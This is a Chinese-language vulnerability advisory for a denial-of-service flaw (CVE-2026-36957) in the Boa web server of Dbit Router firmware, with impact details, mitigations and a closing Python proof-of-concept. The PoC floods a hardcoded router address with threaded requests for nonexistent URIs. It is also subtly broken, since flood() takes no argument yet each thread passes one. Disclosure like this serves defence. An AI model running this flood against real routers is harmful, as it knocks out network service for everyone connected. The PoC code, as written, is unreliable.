# CVE-2026-36957: Boa Web Server 拒绝服务漏洞 ## 漏洞概述 * **漏洞编号**: CVE-2026-36957 * **漏洞类型**: 拒绝服务 (DoS) / CWE-400 (不受控的资源消耗) * **CVSS 评分**: 7.5 (High) * **发现者**: Kirubel Solomone * **发布日期**: 2026-04-29 * **漏洞描述**: Dbit Router 固件 V1.0.0 中的 Boa Web 服务器 URI 处理程序存在漏洞。攻击者通过发送大量针对不存在 URI 的 HTTP GET 请求,可以耗尽关键系统资源(包括文件描述符和内存缓冲区),导致内核死锁或系统挂起,从而使路由管理门户和所有路由功能不可用。 ## 影响范围 * **厂商**: Shenzhen Dibit Network Equipment Co., Ltd. * **产品**: Dbit Router * **受影响版本**: V1.0.0 * **攻击向量**: 网络 (Network) * **具体影响**: * 完全丧失 Web 管理界面 * 路由功能中断 * 需要手动重启才能恢复服务 * 所有连接设备面临网络中断 ## 修复方案 1. 在 Boa Web 服务器上实施连接速率限制。 2. 添加看门狗定时器以从死锁状态恢复。 3. 限制每个 IP 的最大并发连接数。 ## 概念验证代码 (POC) ```python import requests import threading TARGET = "http://192.168.10.1" def flood(): try: requests.get(f"{TARGET}/nonexistent_{i}", timeout=2) except: pass threads = [] for i in range(1000): t = threading.Thread(target=flood, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("Done. Check if router is still responsive.") ```